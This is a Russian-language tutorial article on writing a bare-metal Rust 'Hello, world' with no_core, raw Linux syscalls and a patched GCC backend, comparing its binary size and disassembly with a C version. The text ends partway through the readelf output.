Мы не ищем лёгких путей, поэтому мы отключим и `std`, и `core` с помощью атрибута `#![no_core]`. Такая функциональность по разным оценкам требуется от 3577 до 4518 людям в мире на момент написания статьи (именно столько людей контрибутят в компилятор Раста, но github даёт одни цифры, а `git log --format="%an" | sort -u | wc -l` другие). Вы же не думаете, что я тут беру статистику с потолка?
```
#![feature(no_core)]
#![feature(lang_items)]
#![no_core]
// Говорим компилятору влинковать libc
#[cfg(target_os = "linux")]
#[link(name = "c")]
extern {}
// Функция `main` на самом деле не точка входа, а вот `start` - да.
#[lang = "start"]
fn start(\_main: fn() -> T, \_argc: isize, \_argv: \*const \*const u8) -> isize {
42
}
// Втыкаем символ, чтобы не получить ошибку undefined reference to `main'
fn main() { }
// Нужно компилятору
#[lang = "sized"]
pub trait Sized {}
```
Проверить работоспособность можно только по коду возврата: `echo $?` должен вернуть 42.
Мы почти добрались до самого низа. У нас нет возможности складывать числа, если попробовать их сложить, будет ошибка:
```
error[E0369]: cannot add `{integer}` to `{integer}`
--> src/main.rs:14:8
|
14 | 40 + 2
| -- ^ - {integer}
| |
| {integer}
```
Да ничего у нас нет, только определение примитивов `i8`, `usize`, `str`, но работать с ними нельзя.
Отключаем crt
-------------
Rust компилирует объектные файлы самостоятельно, но использует внешний (обычно это системный) линковщик. По умолчанию линковщик добавляет `*crt*.o`, в которых определяется стартовый символ (`_start`), но этот символ можно переопределить. Для этого отключаем сишный рантайм:
```
$ cargo rustc -- -C link-args=-nostartfiles
```
Или с помощью конфига в корне проекта можно задать флаги линковки:
```
$ cat .cargo/config
[build]
rustflags = ["-C", "link-args=-nostartfiles"]
```
Тогда с `.cargo/config` и `rust-toolchain.toml` файлом сборка проекта осуществляется короткой командой `cargo build`. Ну или вы можете вбивать `cargo +nightly-2022-06-09 rustc -- -C link-args=-nostartfiles`.
Вид нашего хэлло ворлда приобретает форму:
```
#![feature(no_core)]
#![feature(lang_items)]
#![no_core]
#![no_main]
#[no_mangle]
extern "C" fn _start() {}
// Нужно компилятору
#[lang = "sized"]
pub trait Sized {}
```
Девственный ассемблер:
```
$ objdump -Cd ./target/debug/hello_world
./target/debug/hello_world: file format elf64-x86-64
Disassembly of section .text:
0000000000001000 <_start>:
1000: c3 retq
```
Компилируем и запускаем:
```
$ cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `target/debug/hello_world`
Illegal instruction (core dumped)
```
Прекрасно. С этим можно начинать работать.
Пишем хэлло ворлд
=================
Вообще до мейна происходит очень много интересного: инициализация статиков, профилировщика. Советую посмотреть доклад Мэтта Годболта:
<https://www.youtube.com/watch?v=dOfucXtyEsU>
Мы же напишем простой `_start` с прыжком в `_start_main`, который и будет вызывать функцию `main`. Подложка в виде `_start_main` нужна, чтобы можно было положиться на компилятор в вопросах передачи аргументов и очистки стека.
Символ \_start
--------------
Его мы будем писать на ассемблере. В `std`/`core` препроцессор ассемблерных вставок включается по умолчанию, а вот нам надо включить его явно.
```
#![feature(decl_macro)]
#![feature(rustc_attrs)]
#[rustc_builtin_macro]
pub macro asm("assembly template", $(operands,)* $(options($(option),*))?) {
/* compiler built-in */
}
```
`_start` — это специальная функция, которой не требуется пролог и эпилог, поэтому её надо пометить как `naked`.
```
#![feature(naked_functions)]
#[no_mangle]
#[naked]
unsafe extern "C" fn _start() {
// Стырено из книги А.В. Столярова.
// А, простите, там код под 32 бита, в книге 2021 года.
// Значит, не стырено.
asm!(
"mov rdi, [rsp]", // argc
"mov rax, rsp",
"add rax, 8",
"mov rsi, rax", // argv
"call _start_main",
options(noreturn),
)
}
#[no_mangle]
extern "C" fn _start_main(argc: usize, argv: *const *const u8) -> isize {
main(argc, argv);
0
}
#[no_mangle]
fn main(_argc: usize, _argv: *const *const u8) -> isize {
// И вот мы добрались до мейна
return 0;
}
```
Компилируем и запускаем: `Illegal instruction (core dumped)`. Я чую, что мы на правильном пути!
Сисколы
-------
Всего нам понадобится два сискола: `exit` и `write`.
"Подложки" для сисколов я хочу реализовать в общем виде, чтобы они принимали номер сискола и аргументы (`syscall1` — 1 аргумент, `syscall3` — 3 аргумента).
`man 2 syscall` дает нам следующую информацию:
**Architecture calling conventions**
```
Every architecture has its own way of invoking and passing arguments
to the kernel. The details for various architectures are listed
in the two tables below.
The first table lists the instruction used to transition to kernel mode
(which might not be the fastest or best way to transition to the kernel,
so you might have to refer to vdso(7)), the register used to indicate
the system call number, the register(s) used to return the system call
result, and the register used to signal an error.
Arch/ABI Instruction System Ret Ret Error Notes
call # val val2
───────────────────────────────────────────────────────────────────
i386 int $0x80 eax eax edx -
x86-64 syscall rax rax rdx - 5
The second table shows the registers used to pass the system call arguments.
Arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────
i386 ebx ecx edx esi edi ebp -
x86-64 rdi rsi rdx r10 r8 r9 -
```
Завершение процесса
-------------------
У данного системного вызова есть замечательное свойство — он никогда не возвращается. Этот факт можно использовать с помощью типов и интринзиков, чтобы дать понять компилятору, что любой код после данного сискола никогда не будет выполнен. Это реализуется через тип `!` (never) и интринзик `unreachable`:
```
#![feature(intrinsics)] // подключаем фичу объявления интринзиков
extern "rust-intrinsic" {
// Чтобы компилятор знал, что есть некоторый код, которого не достичь.
// Например, весь код после exit()
pub fn unreachable() -> !;
}
#[no_mangle]
extern "C" fn _start_main(argc: usize, argv: *const *const u8) -> ! {
let status = main(argc, argv);
exit(status);
}
#[inline(never)]
#[no_mangle]
// ! - это never type, компилятор понимает, что функция никогда не возвращается
fn exit(exit_code: i64) -> ! {
unsafe {
syscall1(60, exit_code);
unreachable()
}
}
#[inline(always)]
unsafe fn syscall1(n: i64, a1: i64) -> i64 {
let ret: i64;
asm!(
"syscall",
in("rax") n,
in("rdi") a1,
lateout("rax") ret,
);
ret
}
```
Если запустить получившийся бинарник, `echo $?` вернет ожидаемый 0.
Запись в файл
-------------
Настало время реализовать вывод "Hello, world!" в стандартный поток вывода! \<Не забыть изменить на менее глупую фразу перед публикацией>.
```
#[no_mangle]
fn main(_argc: usize, _argv: *const *const u8) -> i64 {
let string = b"Hello, world!\n" as *const _ as *const u8;
write(1, string, 14);
return 0;
}
#[inline(never)]
#[no_mangle]
fn write(fd: i64, data: *const u8, len: i64) -> i64 {
unsafe { syscall3(1, fd, data as i64, len) }
}
#[inline(always)]
unsafe fn syscall3(n: i64, a1: i64, a2: i64, a3: i64) -> i64 {
let ret: i64;
asm!(
"syscall",
in("rax") n,
in("rdi") a1,
in("rsi") a2,
in("rdx") a3,
lateout("rax") ret,
);
ret
}
```
**Хелло ворлд на Расте под Linux x86\_64 целиком**
```
#![feature(no_core)]
#![feature(lang_items)]
#![no_core]
#![no_main]
#![feature(naked_functions)]
#![feature(decl_macro)]
#![feature(rustc_attrs)]
#![feature(intrinsics)]
// Нужно компилятору
#[lang = "sized"]
pub trait Sized {}
#[lang = "copy"]
pub trait Copy {}
impl Copy for i64 {} // Говорим компилятору, что объект этого типа можно копировать байт за байтом
impl Copy for usize {}
#[rustc_builtin_macro]
pub macro asm("assembly template", $(operands,)* $(options($(option),*))?) {
/* compiler built-in */
}
extern "rust-intrinsic" {
// Чтобы компилятор знал, что есть некоторый код, которого не достичь.
// Например, весь код после exit()
pub fn unreachable() -> !;
}
#[no_mangle]
#[naked]
unsafe extern "C" fn _start() {
// Стырено из книги А.В. Столярова.
// А, простите, там код под 32 бита, в книге 2021 года.
// Значит, не стырено.
asm!(
"mov rdi, [rsp]", // argc
"mov rax, rsp",
"add rax, 8",
"mov rsi, rax", // argv
"call _start_main",
options(noreturn),
)
}
#[no_mangle]
extern "C" fn _start_main(argc: usize, argv: *const *const u8) -> ! {
let status = main(argc, argv);
exit(status);
}
#[no_mangle]
fn main(_argc: usize, _argv: *const *const u8) -> i64 {
let string = b"Hello, world!\n" as *const _ as *const u8;
write(1, string, 14);
return 0;
}
#[inline(never)]
#[no_mangle]
// ! - это never type, компилятор понимает, что функция никогда не возвращается
fn exit(status: i64) -> ! {
unsafe {
syscall1(60, status);
unreachable()
}
}
#[inline(never)]
#[no_mangle]
fn write(fd: i64, data: *const u8, len: i64) -> i64 {
unsafe { syscall3(1, fd, data as i64, len) }
}
#[inline(always)]
unsafe fn syscall1(n: i64, a1: i64) -> i64 {
let ret: i64;
asm!(
"syscall",
in("rax") n,
in("rdi") a1,
lateout("rax") ret,
);
ret
}
#[inline(always)]
unsafe fn syscall3(n: i64, a1: i64, a2: i64, a3: i64) -> i64 {
let ret: i64;
asm!(
"syscall",
in("rax") n,
in("rdi") a1,
in("rsi") a2,
in("rdx") a3,
lateout("rax") ret,
);
ret
}
```
Запускаем и проверяем:
```
$ cargo r
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target/debug/hello_world`
Hello, world!
$ echo $?
0
$ strip ./target/debug/hello_world
$ stat -c %s ./target/debug/hello_world
13096
```
Оно работает! Но размер бинарника 13096 байт. Что ж, применим `ld.lld-14`:
```
$ cat .cargo/config
[build]
rustflags = ["-C", "linker=ld.lld-14"]
```
```
$ cargo r
Compiling hello_world v0.1.0 (/home/USER/rustmustdie/article/chapter_4)
Finished dev [unoptimized + debuginfo] target(s) in 0.13s
Running `target/debug/hello_world`
Hello, world!
$ echo $?
0
$ strip ./target/debug/hello_world
$ stat -c %s ./target/debug/hello_world
1712
```
Уии!
То есть нет =( Получилось 1712 байт против 1132 байт сишной реализации. Не забываем, что в сишной реализации вообще другой код, он хитрый, с непростым приветствием, то есть у него больше функциональность, но меньше размер.
Приводим к общему знаменателю
=============================
Вот было бы здорово, если бы у нас был:
* Единый компилятор (`gcc`),
* Единый линковщик (`ld.lld-14`),
* Одни и те же флаги компиляции `-Os -masm=intel -m32 -fno-pic -fno-asynchronous-unwind-tables`,
* Одни и те же флаги линковки `--no-pie --no-dynamic-linker`,
* Да и код, выполняющий одну и ту же программу, не правда ли?
* Чтобы был `_start` с прыжком в `_start_main`, который и будет вызывать функцию `main`,
* Чтобы было два сискола `sys_exit` и `sys_write` (именование из книги Столярова),
* Чтобы они были реализованы через обобщение сисколов `syscall1` и `syscall3`.
Жаль, что все вместе это невозможно… Or is it?

Компилируем gcc и rustc\_codegen\_gcc
-------------------------------------
Архитектура компилятора `rustc` позволяет подключить не только бекенд `llvm`, но и `gcc`. Проект, который занимается поддержкой `gcc`, называется [rustc\_codegen\_gcc](https://github.com/rust-lang/rustc_codegen_gcc). Конечно же не все так просто, с ним надо провести профекалтическую работу.
```
$ sudo apt install flex make gawk libgmp-dev libmpfr-dev libmpc-dev gcc-multilib
```
Клонируем `rustc_codegen_gcc`, патченный `gcc` и собираем `gcc` с поддержкой `i386`:
```
# У меня версия 1724042e228c3 от Wed Sep 14 09:22:50 2022
$ git clone https://github.com/rust-lang/rustc_codegen_gcc.git --depth 1
rustc_codegen_gcc$ cd rustc_codegen_gcc
#BUILD GCC (20 mins)
rustc_codegen_gcc$ git clone https://github.com/antoyo/gcc.git --depth 1
rustc_codegen_gcc$ cd gcc
rustc_codegen_gcc/gcc$ mkdir build install
rustc_codegen_gcc/gcc$ cd build
rustc_codegen_gcc/gcc/build$ ../configure --enable-host-shared --enable-languages=jit,c --disable-bootstrap --enable-multilib --target=x86_64-pc-linux-gnu --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64 --enable-multiarch --prefix=$(pwd)/../install
rustc_codegen_gcc/gcc/build$ make -j8
rustc_codegen_gcc/gcc/build$ make install # в папочку ../install
rustc_codegen_gcc/gcc/build$ cd ../../
rustc_codegen_gcc$ echo $(pwd)/gcc/install/lib/ > gcc_path
```
Мастер ветка пока что не поддерживает `i386` из коробки, но это можно исправить:
**Патч rustc\_codegen\_gcc, чтобы заработал i386**
```
diff --git a/config.sh b/config.sh
index b25e215..18574f2 100644
--- a/config.sh
+++ b/config.sh
@@ -20,8 +20,9 @@ else
fi
HOST_TRIPLE=$(rustc -vV | grep host | cut -d: -f2 | tr -d " ")
-TARGET_TRIPLE=$HOST_TRIPLE
+#TARGET_TRIPLE=$HOST_TRIPLE
#TARGET_TRIPLE="m68k-unknown-linux-gnu"
+TARGET_TRIPLE="i686-unknown-linux-gnu"
linker=''
RUN_WRAPPER=''
@@ -33,6 +34,8 @@ if [[ "$HOST_TRIPLE" != "$TARGET_TRIPLE" ]]; then
# We are cross-compiling for aarch64. Use the correct linker and run tests in qemu.
linker='-Clinker=aarch64-linux-gnu-gcc'
RUN_WRAPPER='qemu-aarch64 -L /usr/aarch64-linux-gnu'
+ elif [[ "$TARGET_TRIPLE" == "i686-unknown-linux-gnu" ]]; then
+ : # do nothing
else
echo "Unknown non-native platform"
fi
diff --git a/src/back/write.rs b/src/back/write.rs
index efcf18d..e640fbe 100644
--- a/src/back/write.rs
+++ b/src/back/write.rs
@@ -14,6 +14,8 @@ pub(crate) unsafe fn codegen(cgcx: &CodegenContext, \_diag\_han
let \_timer = cgcx.prof.generic\_activity\_with\_arg("LLVM\_module\_codegen", &\*module.name);
{
let context = &module.module\_llvm.context;
+ context.add\_command\_line\_option("-m32");
+ context.add\_driver\_option("-m32");
let module\_name = module.name.clone();
let module\_name = Some(&module\_name[..]);
diff --git a/src/base.rs b/src/base.rs
index 8cc9581..fb8bd88 100644
--- a/src/base.rs
+++ b/src/base.rs
@@ -98,7 +98,7 @@ pub fn compile\_codegen\_unit<'tcx>(tcx: TyCtxt<'tcx>, cgu\_name: Symbol, supports\_
context.add\_command\_line\_option("-mpclmul");
context.add\_command\_line\_option("-mfma");
context.add\_command\_line\_option("-mfma4");
- context.add\_command\_line\_option("-m64");
+ context.add\_command\_line\_option("-m32");
context.add\_command\_line\_option("-mbmi");
context.add\_command\_line\_option("-mgfni");
context.add\_command\_line\_option("-mavxvnni");
diff --git a/src/context.rs b/src/context.rs
index 2699559..056352a 100644
--- a/src/context.rs
+++ b/src/context.rs
@@ -161,13 +161,13 @@ impl<'gcc, 'tcx> CodegenCx<'gcc, 'tcx> {
let ulonglong\_type = context.new\_c\_type(CType::ULongLong);
let sizet\_type = context.new\_c\_type(CType::SizeT);
- let isize\_type = context.new\_c\_type(CType::LongLong);
- let usize\_type = context.new\_c\_type(CType::ULongLong);
+ let isize\_type = context.new\_c\_type(CType::Int);
+ let usize\_type = context.new\_c\_type(CType::UInt);
let bool\_type = context.new\_type::();
// TODO(antoyo): only have those assertions on x86\_64.
- assert\_eq!(isize\_type.get\_size(), i64\_type.get\_size());
- assert\_eq!(usize\_type.get\_size(), u64\_type.get\_size());
+ assert\_eq!(isize\_type.get\_size(), i32\_type.get\_size());
+ assert\_eq!(usize\_type.get\_size(), u32\_type.get\_size());
let mut functions = FxHashMap::default();
let builtins = [
diff --git a/src/int.rs b/src/int.rs
index 0c5dab0..5fd4925 100644
--- a/src/int.rs
+++ b/src/int.rs
@@ -524,7 +524,7 @@ impl<'a, 'gcc, 'tcx> Builder<'a, 'gcc, 'tcx> {
// when having proper sized integer types.
let param\_type = bswap.get\_param(0).to\_rvalue().get\_type();
if param\_type != arg\_type {
- arg = self.bitcast(arg, param\_type);
+ arg = self.cx.context.new\_cast(None, arg, param\_type);
}
self.cx.context.new\_call(None, bswap, &[arg])
}
diff --git a/src/lib.rs b/src/lib.rs
index e43ee5c..8fb5823 100644
--- a/src/lib.rs
+++ b/src/lib.rs
@@ -104,6 +104,7 @@ impl CodegenBackend for GccCodegenBackend {
let temp\_dir = TempDir::new().expect("cannot create temporary directory");
let temp\_file = temp\_dir.into\_path().join("result.asm");
let check\_context = Context::default();
+ check\_context.add\_command\_line\_option("-m32");
check\_context.set\_print\_errors\_to\_stderr(false);
let \_int128\_ty = check\_context.new\_c\_type(CType::UInt128t);
// NOTE: we cannot just call compile() as this would require other files than libgccjit.so.
```
И поверх этого патча надо применить еще один, чтобы `libgccjit.so` компилировал только с нужным набором флагов:
**Патч rustc\_codegen\_gcc для унификации флагов**
```
diff --git a/src/base.rs b/src/base.rs
index fb8bd88..d5268dc 100644
--- a/src/base.rs
+++ b/src/base.rs
@@ -87,29 +87,11 @@ pub fn compile_codegen_unit<'tcx>(tcx: TyCtxt<'tcx>, cgu_name: Symbol, supports_
// Instantiate monomorphizations without filling out definitions yet...
//let llvm_module = ModuleLlvm::new(tcx, &cgu_name.as_str());
let context = Context::default();
- // TODO(antoyo): only set on x86 platforms.
context.add_command_line_option("-masm=intel");
- // TODO(antoyo): only add the following cli argument if the feature is supported.
- context.add_command_line_option("-msse2");
- context.add_command_line_option("-mavx2");
- // FIXME(antoyo): the following causes an illegal instruction on vmovdqu64 in std_example on my CPU.
- // Only add if the CPU supports it.
- context.add_command_line_option("-msha");
- context.add_command_line_option("-mpclmul");
- context.add_command_line_option("-mfma");
- context.add_command_line_option("-mfma4");
context.add_command_line_option("-m32");
- context.add_command_line_option("-mbmi");
- context.add_command_line_option("-mgfni");
- context.add_command_line_option("-mavxvnni");
- context.add_command_line_option("-mf16c");
- context.add_command_line_option("-maes");
- context.add_command_line_option("-mxsavec");
- context.add_command_line_option("-mbmi2");
- context.add_command_line_option("-mrtm");
- context.add_command_line_option("-mvaes");
- context.add_command_line_option("-mvpclmulqdq");
- context.add_command_line_option("-mavx");
+ context.add_command_line_option("-fno-pic");
+ context.add_command_line_option("-fno-asynchronous-unwind-tables");
+ context.add_command_line_option("-Os");
for arg in &tcx.sess.opts.cg.llvm_args {
context.add_command_line_option(arg);
```
Клонируем `llvm` и собираем `rustc_codegen_gcc`:
```
#BUILD RUSTC: (5 mins)
rustc_codegen_gcc$ git clone https://github.com/llvm/llvm-project llvm --depth 1 --single-branch
rustc_codegen_gcc$ export RUST_COMPILER_RT_ROOT="$PWD/llvm/compiler-rt"
rustc_codegen_gcc$ ./prepare_build.sh # download and patch sysroot src
rustc_codegen_gcc$ ./build.sh
```
Всё, теперь у нас есть собранный своими ручками компилятор Си (`~/rustc_codegen_gcc/gcc/install/bin/gcc`), `libgccjit.so` для компиляции Раста c захардкоженными флагами `-Os -masm=intel -m32 -fno-pic -fno-asynchronous-unwind-tables` и скрипт `~/rustc_codegen_gcc/cargo.sh`, который подсовывает фронтенду `rustc` бекенд `gcc`.
Хэлло ворлд на Си под i386
--------------------------
**Код**
```
int sys_write(int fd, const void *buf, int size);
void sys_exit(int status);
static int main(int argc, char **argv);
static int syscall1(int n, int a1);
static int syscall3(int n, int a1, int a2, int a3);
static const char hello[] = "Hello, world!\n";
void _Noreturn __attribute__((naked)) _start() {
__asm volatile (
"_start:\n"
" mov ecx, [esp]\n"
" mov eax, esp\n"
" add eax, 4\n"
" push eax\n"
" push ecx\n"
" call _start_main\n"
);
}
void _Noreturn _start_main(int argc, char **argv) {
int status = main(argc, argv);
sys_exit(status);
}
static int main(int argc, char **argv)
{
sys_write(1, hello, sizeof(hello)-1);
return 0;
}
void _Noreturn __attribute__ ((noinline)) sys_exit(int status) {
syscall1(1, status);
__builtin_unreachable();
}
int __attribute__ ((noinline)) sys_write(int fd, const void *buf, int size) {
return syscall3(4, fd, (int) buf, size);
}
static int syscall1(int n, int a1) {
int ret;
__asm volatile (
" int 0x80"
: "=a" (ret)
: "0" (n), "b" (a1)
: "memory"
);
return ret;
}
static int syscall3(int n, int a1, int a2, int a3) {
int ret;
__asm volatile (
" int 0x80"
: "=a" (ret)
: "0" (n), "b" (a1), "c" (a2), "d" (a3)
: "memory"
);
return ret;
}
```
Все эти приседания с `_Noreturn`, `static`, `__attribute__((naked))` прямое отражение того, что было в коде на Расте. Т.е. говорим компилятору, что из `sys_exit` нельзя выйти, `static` — для красивого инлайна (и чтобы в итоговом бинаре отсутствовал такой символ), а `__attribute__((naked))` — чтобы компилятор не вставил пролог и эпилог для `_start`.
Сборка:
```
~/rustc_codegen_gcc/gcc/install/bin/gcc -Os -masm=intel -m32 -fno-pic -fno-asynchronous-unwind-tables -Wall -Wno-main -c hello_world.c
ld.lld-14 --no-pie --no-dynamic-linker hello_world.o -o hello_world
strip hello_world
objcopy -j.text -j.rodata hello_world
```
Проверяем:
```
$ ./build.sh
$ ./hello_world
Hello, world!
```
Хэлло ворлд на Расте под i386
-----------------------------
**Код**
```
#![feature(no_core)]
#![feature(lang_items)]
#![feature(naked_functions)]
#![feature(decl_macro)]
#![feature(rustc_attrs)]
#![feature(intrinsics)]
#![no_core]
#![no_main]
#[lang = "sized"]
pub trait Sized {}
#[lang = "copy"]
pub trait Copy {}
impl Copy for i32 {}
impl Copy for usize {}
#[rustc_builtin_macro]
pub macro asm("assembly template", $(operands,)* $(options($(option),*))?) {
/* compiler built-in */
}
extern "rust-intrinsic" {
pub fn unreachable() -> !;
}
#[no_mangle]
#[naked]
unsafe extern "C" fn _start() {
asm!(
"mov ecx, [esp]",
"mov eax, esp",
"add eax, 4",
"push eax",
"push ecx",
"call _start_main",
options(noreturn),
)
}
#[no_mangle]
extern "C" fn _start_main(argc: usize, argv: *const *const u8) -> ! {
let status = main(argc, argv);
sys_exit(status);
}
#[no_mangle]
fn main(_argc: usize, _argv: *const *const u8) -> i32 {
let string = b"Hello, world!\n" as *const _ as *const u8;
sys_write(1, string, 14);
return 0;
}
#[inline(never)]
#[no_mangle]
fn sys_write(fd: i32, data: *const u8, len: i32) -> i32 {
unsafe { syscall3(4, fd, data as _, len) }
}
#[inline(never)]
#[no_mangle]
fn sys_exit(status: i32) -> ! {
unsafe {
syscall1(1, status);
unreachable()
}
}
#[inline(always)]
unsafe extern "C" fn syscall1(n: i32, a1: i32) -> i32 {
let ret: i32;
asm!(
"int 0x80",
in("eax") n,
in("ebx") a1,
lateout("eax") ret,
);
ret
}
#[inline(always)]
unsafe fn syscall3(n: i32, a1: i32, a2: i32, a3: i32) -> i32 {
let ret: i32;
asm!(
"int 0x80",
in("eax") n,
in("ebx") a1,
in("ecx") a2,
in("edx") a3,
lateout("eax") ret,
);
ret
}
```
Сборка:
```
# cargo.sh, предоставляемый rustc_codegen_gcc, принимает только переменную окружения CG_RUSTFLAGS
# поэтому в .cargo/config эти переменные не установить. Увы.
export CG_RUSTFLAGS="-C linker=ld.lld-14 -C link-args=--no-pie -C link-args=--no-dynamic-linker"
~/rustc_codegen_gcc/cargo.sh b --target i686-unknown-linux-gnu
strip ./target/i686-unknown-linux-gnu/debug/hello_world
objcopy -j.text -j.rodata ./target/i686-unknown-linux-gnu/debug/hello_world
```
Проверяем:
```
$ ./build.sh
rustc_codegen_gcc is build for rustc 1.65.0-nightly (748038961 2022-08-25) but the default rustc version is rustc 1.63.0-nightly (7466d5492 2022-06-08).
Using rustc 1.65.0-nightly (748038961 2022-08-25).
Compiling hello_world v0.1.0 (/home/USER/rustmustdie/article/chapter_6)
Finished dev [unoptimized + debuginfo] target(s) in 0.84s
$ ./target/i686-unknown-linux-gnu/debug/hello_world
Hello, world!
```
Сравнение
---------
| Си | Раст |
| --- | --- |
|
```
$ stat -c %s hello_world
496
$ size -A hello_world
hello_world :
section size addr
.rodata 15 4194516
.text 84 4198627
Total 99
```
|
```
$ stat -c %s ./hello_world
464
$ size -A ./hello_world
./hello_world :
section size addr
.rodata 14 4194484
.text 82 4198594
Total 96
```
|
Вот так, размер файла на Расте получился 464 байта, а на Си — 494 байт. Предлагаю читателю самостоятельно ответить на вопрос, обладает ли Раст свойством абсолютной независимости от библиотечного кода, также иногда называемым zero runtime.
Для интересующихся, вот вся инфа о бинарях:
**Си**
```
$ objdump -Cd hello_world
hello_world: file format elf32-i386
Disassembly of section .text:
004010e3 <_start>:
4010e3: 8b 0c 24 mov (%esp),%ecx
4010e6: 89 e0 mov %esp,%eax
4010e8: 83 c0 04 add $0x4,%eax
4010eb: 50 push %eax
4010ec: 51 push %ecx
4010ed: e8 27 00 00 00 call 401119 <_start_main>
4010f2: 0f 0b ud2
004010f4 :
4010f4: 55 push %ebp
4010f5: b8 01 00 00 00 mov $0x1,%eax
4010fa: 89 e5 mov %esp,%ebp
4010fc: 53 push %ebx
4010fd: 8b 5d 08 mov 0x8(%ebp),%ebx
401100: cd 80 int $0x80
00401102 :
401102: 55 push %ebp
401103: b8 04 00 00 00 mov $0x4,%eax
401108: 89 e5 mov %esp,%ebp
40110a: 53 push %ebx
40110b: 8b 4d 0c mov 0xc(%ebp),%ecx
40110e: 8b 55 10 mov 0x10(%ebp),%edx
401111: 8b 5d 08 mov 0x8(%ebp),%ebx
401114: cd 80 int $0x80
401116: 5b pop %ebx
401117: 5d pop %ebp
401118: c3 ret
00401119 <\_start\_main>:
401119: 55 push %ebp
40111a: 89 e5 mov %esp,%ebp
40111c: 83 ec 0c sub $0xc,%esp
40111f: 6a 0e push $0xe
401121: 68 d4 00 40 00 push $0x4000d4
401126: 6a 01 push $0x1
401128: e8 d5 ff ff ff call 401102
40112d: 31 c0 xor %eax,%eax
40112f: 89 04 24 mov %eax,(%esp)
401132: e8 bd ff ff ff call 4010f4
$ readelf -a hello\_world
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x4010e3
Start of program headers: 52 (bytes into file)
Start of section headers: 336 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 4
Size of section headers: 40 (bytes)
Number of section headers: 4
Section header string table index: 3
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .rodata PROGBITS 004000d4 0000d4 00000f 00 A 0 0 4
[ 2] .text PROGBITS 004010e3 0000e3 000054 00 AX 0 0 1
[ 3] .shstrtab STRTAB 00000000 000137 000019 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00400034 0x00400034 0x00080 0x00080 R 0x4
LOAD 0x000000 0x00400000 0x00400000 0x000e3 0x000e3 R 0x1000
LOAD 0x0000e3 0x004010e3 0x004010e3 0x00054 0x00054 R E 0x1000
GNU\_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0
Section to Segment mapping:
Segment Sections...
00
01 .rodata
02 .text
03
$ objdump -s ./hello\_world
./hello\_world: file format elf32-i386
Contents of section .rodata:
4000d4 48656c6c 6f2c2077 6f726c64 210a00 Hello, world!..
Contents of section .text:
4010e3 8b0c2489 e083c004 5051e827 0000000f ..$.....PQ.''....
4010f3 0b55b801 00000089 e5538b5d 08cd8055 .U.......S.]...U
401103 b8040000 0089e553 8b4d0c8b 55108b5d .......S.M..U..]
401113 08cd805b 5dc35589 e583ec0c 6a0e68d4 ...[].U.....j.h.
401123 0040006a 01e8d5ff ffff31c0 890424e8 .@.j......1...$.
401133 bdffffff ....
```
**Раст**
```
$ objdump -Cd ./target/i686-unknown-linux-gnu/debug/hello_world
./target/i686-unknown-linux-gnu/debug/hello_world: file format elf32-i386
Disassembly of section .text:
004010c2 <_start>:
4010c2: 8b 0c 24 mov (%esp),%ecx
4010c5: 89 e0 mov %esp,%eax
4010c7: 83 c0 04 add $0x4,%eax
4010ca: 50 push %eax
4010cb: 51 push %ecx
4010cc: e8 25 00 00 00 call 4010f6 <_start_main>
004010d1 :
4010d1: 55 push %ebp
4010d2: b8 04 00 00 00 mov $0x4,%eax
4010d7: 89 e5 mov %esp,%ebp
4010d9: 53 push %ebx
4010da: 8b 5d 08 mov 0x8(%ebp),%ebx
4010dd: 8b 4d 0c mov 0xc(%ebp),%ecx
4010e0: 8b 55 10 mov 0x10(%ebp),%edx
4010e3: cd 80 int $0x80
4010e5: 5b pop %ebx
4010e6: 5d pop %ebp
4010e7: c3 ret
004010e8 :
4010e8: 55 push %ebp
4010e9: b8 01 00 00 00 mov $0x1,%eax
4010ee: 89 e5 mov %esp,%ebp
4010f0: 53 push %ebx
4010f1: 8b 5d 08 mov 0x8(%ebp),%ebx
4010f4: cd 80 int $0x80
004010f6 <\_start\_main>:
4010f6: 55 push %ebp
4010f7: 89 e5 mov %esp,%ebp
4010f9: 83 ec 0c sub $0xc,%esp
4010fc: 6a 0e push $0xe
4010fe: 68 b4 00 40 00 push $0x4000b4
401103: 6a 01 push $0x1
401105: e8 c7 ff ff ff call 4010d1
40110a: 31 c0 xor %eax,%eax
40110c: 89 04 24 mov %eax,(%esp)
40110f: e8 d4 ff ff ff call 4010e8
$ readelf -a ./target/i686-unknown-linux-gnu/debug/hello\_world
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x4010c2
Start of program headers: 52 (bytes into file)
Start of section headers: 304 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 4
Size of section headers: 40 (bytes)
Number of section headers: 4
Section header string table index: 3
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .rodata PROGBITS 004000b4 0000b4 00000e 00 A 0 0 4
[ 2] .text PROGBITS 004010c2 0000c2 000052 00 AX 0 0 1
[ 3] .shstrtab STRTAB 00000000 000114 000019 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
There are no section groups in this file.
Program Headers:
